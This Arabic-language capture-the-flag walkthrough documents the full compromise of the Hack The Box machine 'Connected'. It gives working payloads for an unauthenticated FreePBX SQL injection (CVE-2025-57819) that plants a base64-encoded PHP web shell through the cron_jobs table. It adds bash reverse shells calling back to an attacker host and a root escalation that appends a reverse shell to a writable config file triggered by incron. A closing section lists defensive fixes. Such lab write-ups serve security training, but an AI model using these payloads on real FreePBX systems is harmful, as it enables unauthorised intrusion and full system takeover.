
هذا الشرح التفصيلي يوثّق الاختراق الكامل لجهاز HTB المسمى Connected.
يوثق هذا الدليل الاختراق الكامل لجهاز HTB Connected.
تبدأ سلسلة الهجوم بثغرة حقن SQL غير مصادق في FreePBX، والتي يتم استغلالها للحصول على تنفيذ الأكواد كمستخدم asterisk عبر وظيفة cron مصممة خصيصًا. ثم يسمح ملف إعدادات قابل للكتابة مع مشغّل incron بتصعيد الصلاحيات إلى root.
توضح هذه الحالة كيف يمكن لثغرات تطبيقات الويب، عند دمجها مع صلاحيات محلية ضعيفة وأتمتة مميزة غير آمنة، أن تؤدي إلى اختراق كامل للنظام.
يكشف فحص سريع للمنافذ عن المنافذ المفتوحة على الهدف:
nmap -T5 --open <MACHINE_IP>
| المنفذ | الخدمة |
|---|---|
| 22 | SSH |
| 80 | HTTP |
| 443 | HTTPS |
يُظهر الفحص الإضافي خادم Apache يعمل بنظام PHP 7.4، مع إعادة توجيه HTTP إلى:
http://connected.htb/
للوصول إلى الموقع بشكل صحيح، أضف تعيين المضيف الافتراضي:
echo "<MACHINE_IP> connected.htb" | sudo tee -a /etc/hosts
يكشف التصفح إلى http://connected.htb/ عن:
FreePBX 16.0.40.7
يحدد البحث CVE-2025-57819، وهي ثغرة حقن SQL غير مصادق قائمة على الأخطاء في مكوّن Endpoint Manager في FreePBX.
أكد الثغرة عن طريق استخراج مستخدم قاعدة البيانات:
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~USER:',(SELECT USER()),'~'))--+"
يحتوي الرد على:
~USER:freepbxuser@localhost~
هذا يؤكد أن حقن SQL يعمل وأن التطبيق يتصل بـ MySQL باسم:
freepbxuser@localhost
يخزن FreePBX المهام المجدولة في جدول cron_jobs.
من خلال حقن إدخال خبيث في هذا الجدول، يمكن جدولة أوامر عشوائية للتنفيذ.
يقوم الحمولة التالية بإنشاء قشرة ويب PHP في جذر الويب:
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','wt-shell3','echo \"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==\"|base64 -d >/var/www/html/c1sco.php',NULL,'* * * * *',30,1,1)-- "
يعيد الخادم خطأ 500 عامًا، لكن عبارة SQL تنفذ بنجاح.
بعد حوالي دقيقة واحدة، تحقق من إنشاء قشرة الويب:
curl -ik "https://connected.htb/c1sco.php?cmd=id"
المخرجات:
uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)
لدينا الآن تنفيذ أوامر كمستخدم asterisk عبر طلبات HTTP.
ابدأ مستمع Netcat على جهاز المهاجم:
nc -lvnp 4444
قم بتشغيل قشرة عكسية Bash عبر قشرة الويب:
curl -ik "https://connected.htb/c1sco.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<ATTACKER_IP>/4444+0>%261'"
يتم إنشاء اتصال:
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=999(asterisk) gid=1000(asterisk)
لدينا الآن قشرة تفاعلية كمستخدم asterisk.
ابحث عن الملفات القابلة للكتابة تحت /etc، مع استبعاد النتائج الإيجابية الخاطئة المعروفة:
find /etc -writable 2>/dev/null | grep -v "/etc/wanpipe\|/etc/asterisk\|/etc/schmooze" | head -20
من النتائج البارزة:
/etc/dahdi/init.conf
بعد ذلك، افحص إعدادات incron:
cat /etc/incron.d/*
يكشف هذا عن مراقب الملفات التالي:
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart
هذا يعني أنه كلما تمت الكتابة إلى ملف الإشارة:
/var/spool/asterisk/sysadmin/dahdi_restart
يتم تنفيذ السكربت التالي:
/usr/sbin/sysadmin_dahdi_restart
يكشف فحص السكربت أنه يستدعي:
/etc/dahdi/init.conf
نظرًا لأن /etc/dahdi/init.conf قابل للكتابة بواسطة المستخدم asterisk ويتم استدعاؤه بواسطة عملية root، فإنه يوفر مسارًا لتنفيذ أوامر عشوائية بصلاحيات root.
ابدأ مستمع Netcat ثانيًا على المنفذ 4445:
nc -lvnp 4445
من قشرة asterisk، أضف حمولة قشرة عكسية إلى ملف الإعدادات القابل للكتابة:
echo 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4445 0>&1" &' >> /etc/dahdi/init.conf
قم بتشغيل إجراء incron بالكتابة إلى الملف المراقب:
echo "restart" > /var/spool/asterisk/sysadmin/dahdi_restart
خلال ثوانٍ، تتصل قشرة الجذر:
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=0(root) gid=0(root) groups=0(root)
🎯 تم تحقيق وصول الجذر الكامل!
cat /home/asterisk/user.txt
المخرجات:
HTB{...user_flag...}
cat /root/root.txt
المخرجات:
HTB{...root_flag...}
حقن SQL غير مصادق
│
▼
تنفيذ استعلام MySQL
│
▼
إدراج وظيفة Cron خبيثة
│
▼
قشرة ويب PHP
│
▼
قشرة asterisk
│
▼
ملف /etc/dahdi/init.conf قابل للكتابة
│
▼
مشغّل incron
│
▼
تنفيذ أوامر Root
│
▼
root
| الثغرة | التأثير |
|---|---|
| حقن SQL غير مصادق | كشف سياق مستخدم قاعدة البيانات ووفر موطئ قدم لكتابة بيانات خبيثة |
| حقن وظيفة Cron | مكّن من تنفيذ الأكواد عن بُعد كحساب خدمة منخفض الصلاحيات |
| ملف إعدادات قابل للكتابة + incron | سمح بالتصعيد المباشر للصلاحيات إلى root |
| سكربت مميز يستدعي ملفًا قابلًا للكتابة من المستخدم |
استخدم الاستعلامات المعلمة والتحقق الصارم من المدخلات لجميع عمليات قاعدة البيانات.
لا تقم أبدًا بدمج المدخلات التي يتحكم فيها المستخدم مباشرة في استعلامات SQL.
يجب ألا تكون ملفات الإعدادات التي تستهلكها الخدمات المميزة قابلة للكتابة بواسطة حسابات الخدمة منخفضة الصلاحيات.
على وجه الخصوص، راجع الصلاحيات على الملفات تحت:
/etc/
قم بمراجعة المهام المجدولة ومراقبي الملفات بانتظام.
يجب ألا تنفذ المهام المميزة أوامر بناءً على ملفات يمكن للمستخدمين غير الموثوقين تعديلها.
يجب أن تتجنب السكربتات المملوكة لـ root استدعاء ملفات الإعدادات التي يمكن تعديلها بواسطة مستخدمين غير مميزين.
يجب أن تعمل تطبيقات الويب والخدمات بأقل الصلاحيات المطلوبة لتشغيلها.
يمكن أن يؤدي تقليل صلاحيات بيئة FreePBX/Apache إلى الحد بشكل كبير من تأثير اختراق التطبيق الناجح.
CVE-2025-57819
│
▼
حقن SQL غير مصادق
│
▼
التلاعب بجدول cron_jobs
│
▼
قشرة ويب PHP مجدولة
│
▼
مستخدم asterisk
│
▼
ملف /etc/dahdi/init.conf قابل للكتابة
│
▼
مراقب ملفات incron
│
▼
سكربت DAHDI المميز
│
▼
قشرة Root
│
▼
🏆 اختراق كامل للنظام
إخلاء مسؤولية: هذا التقرير مخصص للأغراض التعليمية والاختبارات الأمنية المصرح بها، مثل مختبرات Hack The Box والبيئات الخاضعة للتحكم.
| سمح بتنفيذ أوامر عشوائية بصلاحيات root |